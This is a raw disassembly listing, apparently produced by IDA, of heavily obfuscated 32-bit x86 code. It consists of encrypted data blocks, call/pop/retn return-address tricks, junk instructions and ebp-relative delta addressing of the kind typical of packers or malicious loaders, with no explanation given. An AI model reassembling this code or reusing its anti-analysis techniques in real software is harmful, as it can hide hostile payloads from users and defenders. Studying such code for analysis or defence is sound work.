		dd 5AFEDEBBh, 64F66468h, 0CE9D0h, 0DDDF0000h, 9AC5744Ch
		dd 5E68C42Ah, 3481A2B6h, 2A489024h, 53006A2Fh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0C21F4CAEh
		dd 0FBFBDCCh, 0B5FF0475h, 7E90B11h, 0DDBD8B60h,	8107E90Ch
		dd 9265BC2h, 6E9617Bh, 85000000h, 0C85ADBACh, 0DB858DEBh
		dd 6607EC9Fh, 58FBDB81h, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 892F8FC3h, 6F99B2A4h
		dd 61F98B60h, 1BD19D89h, 6A07E9h, 7E960h, 489B0000h, 30EB0133h
		dd 0ADBD8BE9h, 6107E91Ah, 731B5FFh, 0BD3107E9h,	7E91CC5h
		dd 958BD0FFh, 7E91D19h,	0F1950961h, 0C707E911h,	0E91C2D85h
		dd 107h, 60D78B00h, 9AFBF281h, 0A86831AAh, 50C6DF3Ch, 8A310F52h
		dd 81585AFEh, 0C3D82404h, 6A3920h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 2A0B0CC3h, 8480C98Bh
		dd 8B1EC877h, 0E903199Dh, 8BFF6A07h, 0E90A459Dh, 1595FF07h
		dd 6607E90Ch, 0C23DEA81h, 53006A61h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 8224C287h
		dd 0B0B931ECh, 219D23B9h, 9007E922h, 0B587BA66h, 850F6050h
		dd 4, 0F92DBF66h, 109DBE52h, 615A437Eh,	6D958B90h, 8B07E91Bh
		dd 0E91EF185h, 12E95207h, 0E6000000h, 74CE5304h, 4E0BD00Fh
		dd 12B68E4Dh, 0CF60E681h, 0C00B5AD2h, 57840Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 241D61C3h, 0C25EDC97h, 0DA8B7ED5h, 18CD95FFh, 6A07E9h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0D9ECEAC3h, 0CDBC012Ah, 92BE380h, 0E90FA59Dh, 0E985C707h
		dd 107E923h, 8A000000h,	85BD83D1h, 7E910h, 0B840Fh, 95FF0000h
		dd 7E91559h, 4B1313BAh,	0F5BD8357h, 7E92Ah, 2F840Fh, 0B70F0000h
		dd 4195FFD3h, 6A07E926h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 8448C356h, 39B6D77Fh
		dd 0B7E7B40Eh, 0D1BD83EAh, 7E91Dh, 3A840Fh, 8B570000h
		dd 0BD835AD6h, 7E909A9h, 29850F00h, 81000000h, 0CA94E0CBh
		dd 0E995FF3Bh, 0E807E914h, 11h,	86627234h, 0B8D62068h
		dd 622B7811h, 9D46F645h, 0F58D89F4h, 5B07E921h,	317DBD83h
		dd 0F0007E9h, 3D84h, 81B4B200h,	0E911F985h, 400307h, 7E800h
		dd 3A1B0000h, 15707605h, 0B19D8BAAh, 5A07E919h,	20F58581h
		dd 400307E9h, 8C0F0000h, 0Eh, 558D2360h, 8907E92Eh, 0E9208185h
		dd 310F6107h, 8DD9B70Fh, 0E95B918Dh, 0C1858907h, 8907E92Ch
		dd 4D958B01h, 3307E92Eh, 0EE9C2h, 1A60000h, 80EC63E0h
		dd 518F4481h, 6CC51EAEh, 6A044189h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 6E7DC352h
		dd 0FEE6CDBh, 0DE8BD1BFh, 0D9BB310Fh, 8D3B806Fh, 0E95BAE8Dh
		dd 189F507h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	30C35343h, 985314Fh, 3307E91Ah,	0D7B70FC2h, 0BA044189h
		dd 446AC733h, 11C1BD89h, 0BD8307E9h, 7E90A31h, 31840F00h
		dd 80000000h, 95FF22C3h, 7E93131h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 66C35545h, 0B74EA44h, 0EC2F2C52h
		dd 0DE8B66ACh, 1EB9BD83h, 0F0107E9h, 6D85h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0BBBC2781h, 6F59D23h, 43E907E9h, 29000000h, 0E9166195h
		dd 0D8B58B07h, 0C707E95Ch, 6, 0E7B58B00h, 0C707E95Ah, 6
		dd 6ACF00h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 33EB3EC3h, 0E9219595h, 0BD83F807h, 7E923E9h
		dd 1A840F00h, 0F000001h, 687h, 0C98D8900h, 8307E91Fh, 0E9031DBDh
		dd 850F0107h, 0EEh, 8D8BDF8Bh, 7E94CF0h, 19799531h, 1C607E9h
		dd 0AD9D8B00h, 6007E922h, 1CBBB66h, 0C37B068h, 13E842h
		dd 30A70000h
		dd 2E3EA4D5h, 0A15BE87Eh, 0C0F19B81h, 4CE9E007h, 34815B20h
		dd 0C373024h, 5880F42h,	66000000h, 1860EB81h, 6AFF6Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 21DD32C3h, 0BE470FA1h, 9589803Eh, 7E91C41h, 1C719D8Bh
		dd 95FF07E9h, 7E90C15h,	0EE9h, 6AED6700h, 0B4AC1034h, 0F96191Dh
		dd 610A10E2h, 0FE9h, 0D172200h,	71F845C4h, 771DA55h, 0CF3457DBh
		dd 107595FFh, 6A07E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0B67F1DC3h, 0E7DC0E11h, 4CF08D8Bh
		dd 0E28107E9h, 1CEA52B9h, 9D0301FEh, 7E922B5h, 1EB59D89h
		dd 0BD8307E9h, 7E91D95h, 6850F01h, 29000000h, 0E922B5B5h
		dd 6AC08B07h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 4988C352h, 589A6326h, 1337B4DEh
		dd 18A5BD83h, 750007E9h, 45BD8309h, 7E91Ah, 53501A74h
		dd 858BC08Bh, 7E911F9h,	11F98589h, 9D8D07E9h, 7EBD7CEh
		dd 585BD3FFh, 1A45BD83h, 740007E9h, 8B535018h, 0E911F985h
		dd 0F9858907h, 8D07E911h, 0EBD4BD9Dh, 5BD3FF07h, 52006A58h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 294BD2C2h, 35BD8960h, 0E807E934h, 10h, 15FA05B6h, 0B33CA06Ch
		dd 25C2DABh, 0B1E75626h, 84D8D8Bh, 615B07E9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 1CC35545h, 4B48635Ch
		dd 0D89017CFh, 0DE887h,	0C0EA0000h, 959ADE86h, 817D295Dh
		dd 0E9EBD95Fh, 0Eh, 0B8F1E98h, 943E6A6Fh, 0F59E8063h, 295B509Eh
		dd 0E90961B5h, 81C08B07h, 9CE847E2h, 9D89575Bh,	7E90F75h
		dd 0E9BD835Bh, 7E923h, 25850Fh,	8B570000h, 0BD835ADAh
		dd 7E923F1h, 14840F00h,	0E9000000h, 0Fh, 6DF3F70Eh, 3C0A1E2Dh
		dd 0DBB90A5Dh, 83010CD1h, 0E923E9BDh, 840F0007h, 40h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 9C35747h, 0AF06117Eh
		dd 0F3CC9857h, 8321B290h, 0E917C1BDh, 840F0007h, 0Ch, 30599589h
		dd 0B58907E9h, 7E90E51h, 23E9BD83h, 0F0007E9h, 1884h, 3903BA00h
		dd 0BD830CF8h, 7E917C1h, 6840F00h, 8B000000h, 0E919A195h
		dd 0E9BD8307h, 7E923h, 17840Fh,	0BA660000h, 0BD835717h
		dd 7E90165h, 6840F00h, 89000000h, 0E9195DB5h, 0E9BD8307h
		dd 7E923h, 7A840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 7CC47EC3h, 0F4A230DEh
		dd 8D0FC712h, 15h, 10E9h, 985B9100h, 0FBFA2B50h, 0C38BD495h
		dd 3C2F452h, 0C9BD832Dh, 7E91Ch, 2E840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0B694DC3h, 0E924619Dh, 9195FF07h, 6607E929h,	42B4CA81h
		dd 0A8B6C08Bh, 18A5BD83h, 750007E9h, 45BD8309h,	7E91Ah
		dd 53501A74h, 858BC08Bh, 7E920F5h, 20F58589h, 9D8D07E9h
		dd 7EBD835h, 585BD3FFh,	1A45BD83h, 740007E9h, 8B535018h
		dd 0E920F585h, 0F5858907h, 8D07E920h, 0EBD4D69Dh, 5BD3FF07h
		dd 52006A58h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0BF0FD321h, 53C08BD7h, 835AD58Ah, 0E923E9BDh
		dd 840F0007h, 450h, 13BD8D89h, 0BD8307E9h, 7E92625h, 4E840F02h
		dd 0E9000000h, 9, 0D8FD4CF4h, 0A0E1F16Ah, 0B9BD839Bh, 107E91Eh
		dd 33850Fh, 60600000h, 12E8h, 0B7A0AD00h, 0B01C437Ch, 5A5DCC62h
		dd 21991CBAh, 58592B05h, 11E9h,	0D076A500h, 2A4F4688h
		dd 192F5F27h, 0C3201B10h, 0F8615111h, 6A6061h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 27F118C3h, 0B70F9A6Ch, 0F08D8BD1h, 6A07E94Ch, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 90EEC355h, 801F2509h, 1FEA7C7h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0E8C35343h,	6E9FF160h, 0F28166A5h
		dd 8509820Dh, 7E93121h,	4E8h, 8000h, 0AE900h, 0D0760000h
		dd 2A4F4688h, 192F5F27h, 3717BB50h, 448B1608h, 0DE8B0424h
		dd 8E9008Bh, 0D3000000h, 0FDEE29ACh, 89AC2A32h,	0B7042444h
		dd 0FF6A585Fh, 25F9958Bh, 95FF07E9h, 7E90C15h, 1C51958Bh
		dd 896107E9h, 0E92EC9B5h, 59BD8D07h, 8B07E92Dh,	850F1C4Fh
		dd 1, 8B016AFCh, 0E92FA99Dh, 66609107h,	662B08B9h, 61A1D4B8h
		dd 50525050h, 0F4FB652h, 0F585A31h, 91585A31h, 8DF5E280h
		dd 0EC674D85h, 53D0FF07h, 5081EB81h, 8B5A621Fh,	0EF80204Fh
		dd 6A036A06h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 3EC5C350h, 8940045Dh, 0E909A59Dh
		dd 5063B607h, 89D98B66h, 0EE9240Ch, 61000000h, 71EACB4Eh
		dd 0DA9997B7h, 69D55FEDh, 6850F5Dh, 8B000000h, 0E923ED95h
		dd 4D858D07h, 0F07EC67h, 583h, 0F73DBA00h, 0D0FF72D5h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 94C35747h
		dd 6A33FBD8h, 0FC3BE15Ah, 0EDEA81D6h, 8D77AB4Eh, 0E92D59BDh
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0D48170C2h, 50DA8B60h, 0EE8h, 1CB91500h
		dd 0AB1FEB46h, 6E532419h, 591929D1h, 8589615Fh,	7E923EDh
		dd 891C4F8Bh, 0E9235585h, 0E9016A07h, 8, 41BA7177h, 81EFBD5h
		dd 50D88A91h, 6A91F48Ah, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0D3BBC351h,	269958Bh
		dd 858D07E9h, 7EC674Dh,	34A9BD09h, 9D8907E9h, 7E92605h
		dd 0AE9D0FFh, 0CA000000h, 45215937h, 0FF958C33h, 204F8B8Fh
		dd 1F51B589h, 36A07E9h,	11E8h, 0B4F12700h, 0A2ACB600h
		dd 1828FF18h, 87250165h, 0D281263Dh, 60DD1ECh, 0D88B665Ah
		dd 0E8605150h, 0Bh, 5C8CAC88h, 8F045273h, 5F5B0511h, 5B616160h
		dd 89240C89h, 0E92461B5h, 4D858D07h, 6A07EC67h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 835CC355h, 66755694h, 0F4EEE281h, 0EE9h, 8D954A00h
		dd 0F30996FBh, 0F300173Fh, 0FF3FB884h, 57006AD0h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 8EA7CC8Ch, 0FE948h, 0C5B80000h, 1B644986h, 0D7517604h
		dd 0C60E9B68h, 0F08D8B14h, 8B07E94Ch, 0E926799Dh, 6A01FE07h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 53B3C350h, 9585290Fh, 8B07E925h, 0E94CF085h
		dd 819D8B07h, 0FE07E920h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 784338EAh
		dd 0C381661Dh, 16AD6C9h, 0B01BA66h, 0B229F668h,	243481CCh
		dd 334DB609h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 17h,	12C35343h, 8DDC62A0h, 0EC675785h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 0C158D36Fh, 6E0F5214h, 0D0BF0FD5h, 0BE9h
		dd 9A8A7700h, 0AF730799h, 19D9DD1Ah, 890FD0FFh,	0
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7E923F1h], 0
		jz	loc_58A402
		jmp	loc_58A353
; ---------------------------------------------------------------------------
		mov	esi, 54ECF7E1h


loc_58A353:				; CODE XREF: sdfs____:0058A349j
		cmp	dword ptr [ebp+7E91B69h], 1
		jnz	loc_58A402
		movsx	edx, ax
		lea	ecx, [ebp+7EC6761h]
		mov	bx, 0F03Ah
		push	3
		add	[ebp+7E924E9h],	eax
		push	1
		cld
		call	ecx
		push	0
		push	esi
		call	sub_58A385
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A385	proc near		; CODE XREF: sdfs____:0058A37Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_58A385	endp

; ---------------------------------------------------------------------------
		mov	ebp, 4E2349CFh
		push	ebp
		add	[edx+1], ebp
		push	0
		push	ebp
		call	sub_58A3A9
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A3A9	proc near		; CODE XREF: sdfs____:0058A3A1p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_58A3A9	endp

; ---------------------------------------------------------------------------
		db 0C5h, 54h, 0A9h
		dd 5908E257h, 16A7C2Ch,	0C1BD29h, 0FFF907E9h, 55006AD1h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0D2CC493Eh, 0E84ED780h, 0F872704Ch, 6830Fh, 0EA810000h
		dd 34E5AA85h
; ---------------------------------------------------------------------------
		mov	dh, ah


loc_58A402:				; CODE XREF: sdfs____:0058A343j
					; sdfs____:0058A35Aj
		push	20h
		mov	edx, [ebp+7E90BB9h]
		push	0FFFFFFFFh
		add	[ebp+7E90A35h],	eax
		call	dword ptr [ebp+7E90C15h]
		and	bx, 0DF9Ah
		mov	eax, 0
		and	bh, 98h
		or	eax, eax
		jz	loc_58A473
		push	0
		push	edx
		call	sub_58A438
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A438	proc near		; CODE XREF: sdfs____:0058A430p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_58A438	endp

; ---------------------------------------------------------------------------
		cmpsb
		pop	ebx
		div	dword ptr [esi]
		pusha
		add	edx, [ebp+7E90909h]
		adc	edi, 7E953A1Ah
		popa
		cmp	dword ptr [ebp+7E90FB9h], 0
		jz	loc_58A473
		sub	[ebp+7E92D55h],	esi
		call	dword ptr [ebp+7E91335h]


loc_58A473:				; CODE XREF: sdfs____:0058A427j
					; sdfs____:0058A461j
		mov	eax, [ebp+7E90875h]
		movsx	ebx, dx
		mov	byte ptr [eax],	0
		or	[ebp+7E900D1h],	edx
		pop	eax
		sub	edx, 4D8814D7h
		jns	loc_58A4A0
		pusha
		jo	$+6
		or	[ebp+7E9092Dh],	ecx
		popa


loc_58A4A0:				; CODE XREF: sdfs____:0058A48Cj
		mov	cx, ds
		mov	dx, bx
		test	cl, 4
		jz	loc_58A4EE
		or	ebx, 4E9AA4B3h
		jmp	loc_58A4C3
; ---------------------------------------------------------------------------
		dw 87D1h
		dd 0BA942729h
		db 16h,	64h, 0EEh
; ---------------------------------------------------------------------------


loc_58A4C3:				; CODE XREF: sdfs____:0058A4B5j
		jmp	loc_58A4EE
; ---------------------------------------------------------------------------
		mov	dl, al
		mov	esi, [ebp+7E90905h]
		mov	ebx, [ebp+7E92529h]
		add	esi, 1180h
		mov	ebx, [ebp+7E91311h]
		mov	dword ptr [esi], 0
		sub	[ebp+7E90005h],	esi


loc_58A4EE:				; CODE XREF: sdfs____:0058A4A9j
					; sdfs____:loc_58A4C3j
		pop	esi
		jnz	loc_58A4F6
		cmc


loc_58A4F6:				; CODE XREF: sdfs____:0058A4EFj
		cmp	eax, 0
		jz	loc_58AFCD
		mov	bx, 6D51h
		cmp	eax, 1
		jnz	loc_58A644
		mov	ebx, [ebp+7E91C3Dh]
		mov	eax, 0
		mov	ebx, [ebp+7E90BD1h]
		add	bx, 5A72h
		or	eax, eax
		jz	loc_58A5ED
		pusha
		sub	dx, 9BA1h
		xor	[ebp+7E92591h],	eax
		popa
		cmp	eax, 1
		jz	loc_58A605
		sub	[ebp+7E90815h],	edi
		cmp	eax, 3
		jz	loc_58A595
		jmp	loc_58A55F
; ---------------------------------------------------------------------------
		dd 2F8F6245h, 99B2A489h
		db 6Fh,	48h, 0D7h
; ---------------------------------------------------------------------------


loc_58A55F:				; CODE XREF: sdfs____:0058A54Fj
		mov	eax, 0
		or	edx, 66C98036h
		lea	edi, dword_5B89E0[ebp]
		push	0
		push	eax
		call	sub_58A57B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A57B	proc near		; CODE XREF: sdfs____:0058A573p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_58A57B	endp

; ---------------------------------------------------------------------------
		db 67h
; ---------------------------------------------------------------------------
		adc	eax, 9D8BE7FFh
		inc	ecx
		sub	ch, cl
		pop	es
; START	OF FUNCTION CHUNK FOR sub_58A67C


loc_58A595:				; CODE XREF: sdfs____:0058A549j
					; sub_58A67C+27j
		mov	eax, 1
		cmc
		lea	edi, dword_5B89E0[ebp]
		push	0
		push	edi
		call	sub_58A5AC
		and	[edi-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_58A67C

; =============== S U B	R O U T	I N E =======================================



sub_58A5AC	proc near		; CODE XREF: sub_58A67C-D8p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_58A5AC	endp

; ---------------------------------------------------------------------------
		dd 4DF3D752h, 895B24E1h, 0E9180D85h, 6AE7FF07h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 3C0C350h, 0E922B59Dh
; ---------------------------------------------------------------------------
		pop	es


loc_58A5ED:				; CODE XREF: sdfs____:0058A524j
		lea	edi, [ebp+7E9437Ch]
		cld
		sub	[ebp+7E90195h],	esi
		jmp	loc_58A86B
; ---------------------------------------------------------------------------
		mov	[ebp+7E9247Dh],	ebx
; START	OF FUNCTION CHUNK FOR sub_58A67C


loc_58A605:				; CODE XREF: sdfs____:0058A53Aj
					; sub_58A67C+18j
		mov	dword ptr [ebp+7E94D4Bh], 5
		push	0
		push	edx
		call	sub_58A61A
		and	[edx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_58A67C

; =============== S U B	R O U T	I N E =======================================



sub_58A61A	proc near		; CODE XREF: sub_58A67C-6Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_58A61A	endp

; ---------------------------------------------------------------------------
		dw 6178h
; ---------------------------------------------------------------------------
		lahf
		fidivr	word ptr [eax+5]
		mov	[ebp+7E92F7Dh],	esi
		jmp	loc_58AF41
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+7E92FA9h]


loc_58A644:				; CODE XREF: sdfs____:0058A506j
		cmp	eax, 2
		jnz	loc_58A71A
		jmp	loc_58A65A
; ---------------------------------------------------------------------------
		dw 0E3EFh
		dd 5C58163h
		db 0F7h, 0B0h
; ---------------------------------------------------------------------------


loc_58A65A:				; CODE XREF: sdfs____:0058A64Dj
		mov	eax, 0
		jmp	loc_58A66D
; ---------------------------------------------------------------------------
		mov	ch, cl
		push	ss
		leave
		and	eax, 1BB06BDFh


loc_58A66D:				; CODE XREF: sdfs____:0058A65Fj
		call	sub_58A67C
		xchg	eax, edi
		not	edx
		db	2Eh
		push	77h
		pop	esi
		mov	edi, ebp
		dec	ebp

; =============== S U B	R O U T	I N E =======================================



sub_58A67C	proc near		; CODE XREF: sdfs____:loc_58A66Dp

; FUNCTION CHUNK AT 0058A595 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058A605 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058A70A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058A86B SIZE 00000017 BYTES

		mov	edx, [ebp+7E93165h]
		pop	edx
		or	eax, eax
		jz	loc_58A70A
		or	ebx, [ebp+7E93575h]
		cmp	eax, 1
		jz	loc_58A605
		mov	ebx, [ebp+7E92A39h]
		cmp	eax, 3
		jz	loc_58A595
		mov	[ebp+7E91EDDh],	edi
		ja	loc_58A6CC
		jmp	loc_58A6CC
; ---------------------------------------------------------------------------
		dw 812Bh
		dd 5419BBFDh, 0EE3AC4Dh, 6A1327BEh, 0A728CBAh
; ---------------------------------------------------------------------------


loc_58A6CC:				; CODE XREF: sub_58A67C+33j
					; sub_58A67C+39j
		sub	eax, eax
		push	0
		push	esi
		call	sub_58A6D9
		and	[esi-3Dh], bl
sub_58A67C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_58A6D9	proc near		; CODE XREF: sub_58A67C+55p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_58A6D9	endp

; ---------------------------------------------------------------------------
		stosb
		mov	dx, 9FDBh
		lea	edi, dword_5B89E0[ebp]
		xor	dx, 0C57Dh
		jmp	edi
; ---------------------------------------------------------------------------
		jmp	loc_58A708
; ---------------------------------------------------------------------------
		dd 18E3B631h, 3F9EEA16h
; ---------------------------------------------------------------------------


loc_58A708:				; CODE XREF: sdfs____:0058A6FBj
		mov	bh, 0D8h
; START	OF FUNCTION CHUNK FOR sub_58A67C


loc_58A70A:				; CODE XREF: sub_58A67C+9j
		lea	edi, [ebp+7E94574h]
		mov	ebx, edx
		jmp	loc_58A86B
; END OF FUNCTION CHUNK	FOR sub_58A67C
; ---------------------------------------------------------------------------
		movzx	edx, dx


loc_58A71A:				; CODE XREF: sdfs____:0058A647j
		cmp	eax, 3
		jnz	loc_58A75C
		push	0
		push	eax
		call	sub_58A72E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A72E	proc near		; CODE XREF: sdfs____:0058A726p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_58A72E	endp

; ---------------------------------------------------------------------------
		dec	edx
		mov	ebx, [ebp+7E916FDh]
		lea	edi, [ebp+7E94708h]
		mov	ebx, [ebp+7E91359h]
		jmp	loc_58A86B
; ---------------------------------------------------------------------------
		mov	[ebp+7E92125h],	edx


loc_58A75C:				; CODE XREF: sdfs____:0058A71Dj
		cmp	eax, 5
		jnz	loc_58A7B3
		call	sub_58A779
		xchg	ecx, [eax]
		inc	esp
		movsb
; ---------------------------------------------------------------------------
		dw 0B18Fh
		dd 0C55D590Bh, 91CFF529h
		db 0F7h

; =============== S U B	R O U T	I N E =======================================



sub_58A779	proc near		; CODE XREF: sdfs____:0058A765p

var_18		= dword	ptr -18h

; FUNCTION CHUNK AT 0058AF41 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058AFCD SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058B0D0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058B13C SIZE 00000041 BYTES
; FUNCTION CHUNK AT 0058B181 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0058B1B0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058B367 SIZE 000000C2 BYTES
; FUNCTION CHUNK AT 0058B42B SIZE 00000040 BYTES

		mov	ebx, [ebp+7E93155h]
		pop	edx
		jmp	loc_58AF41
sub_58A779	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_58A790
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A790	proc near		; CODE XREF: sdfs____:0058A788p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_58A790	endp

; ---------------------------------------------------------------------------
		dd 0ECE253F8h, 49579691h, 0D380399Bh, 159D8BB3h
; ---------------------------------------------------------------------------
		and	ebp, ecx
		pop	es


loc_58A7B3:				; CODE XREF: sdfs____:0058A75Fj
		cmp	eax, 6
		jnz	loc_58A7DB
		mov	dh, 0E9h
		mov	edx, [ebp+7E91EE9h]
		lea	edi, [ebp+7E94900h]
		mov	[ebp+7E90E3Dh],	ecx
		jmp	loc_58A86B
; ---------------------------------------------------------------------------
		add	[ebp+7E92E69h],	esi


loc_58A7DB:				; CODE XREF: sdfs____:0058A7B6j
		cmp	eax, 7
		jnz	loc_58A828
		sub	[ebp+7E91FE5h],	ebx
		jnb	loc_58A7F8
		js	loc_58A7F8
		push	edx
		pop	ebx


loc_58A7F8:				; CODE XREF: sdfs____:0058A7EAj
					; sdfs____:0058A7F0j
		lea	edi, [ebp+7E90349h]
		sub	ebx, [ebp+7E92101h]
		mov	bl, 0A5h
		jmp	loc_58A941
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_58A816
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A816	proc near		; CODE XREF: sdfs____:0058A80Ep

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_58A816	endp

; ---------------------------------------------------------------------------
		dw 829Eh
; ---------------------------------------------------------------------------


loc_58A828:				; CODE XREF: sdfs____:0058A7DEj
		cmp	eax, 0Ah
		jnz	loc_58A86B
		push	0
		push	edx
		call	sub_58A83C
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A83C	proc near		; CODE XREF: sdfs____:0058A834p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_58A83C	endp

; ---------------------------------------------------------------------------
		dd 0F7367CFh, 0BD8DFBD9h, 7E94AF8h, 5840Fh, 1BBB0000h
		dd 0E966D7F1h, 3
; ---------------------------------------------------------------------------
		mov	bx, si
; START	OF FUNCTION CHUNK FOR sub_58A67C


loc_58A86B:				; CODE XREF: sdfs____:0058A5FAj
					; sub_58A67C+96j ...
		push	edi
		sbb	ebx, 47F3B868h
		mov	ecx, 7B9F0B36h
		push	0
		push	edx
		call	sub_58A882
		and	[edx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_58A67C

; =============== S U B	R O U T	I N E =======================================



sub_58A882	proc near		; CODE XREF: sub_58A67C+1FEp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_58A882	endp

; ---------------------------------------------------------------------------
		push	ds
		inc	esi
		mov	edx, [ebp+7E93589h]
		jnb	loc_58A8A3
		add	bh, 9Fh


loc_58A8A3:				; CODE XREF: sdfs____:0058A89Aj
		cmp	dword ptr [edi], 0
		jz	loc_58A91F
		push	0
		push	ebx
		call	sub_58A8B7
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A8B7	proc near		; CODE XREF: sdfs____:0058A8AFp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_58A8B7	endp

; ---------------------------------------------------------------------------
		db 7Ch
		dd 3F71ED0h, 1169B589h,	0F3007E9h, 0A6FEBA66h, 0BE9C9D1h
		dd 0EF000000h, 0AE296CECh, 496487E6h, 6A47927Ah, 3E85300h
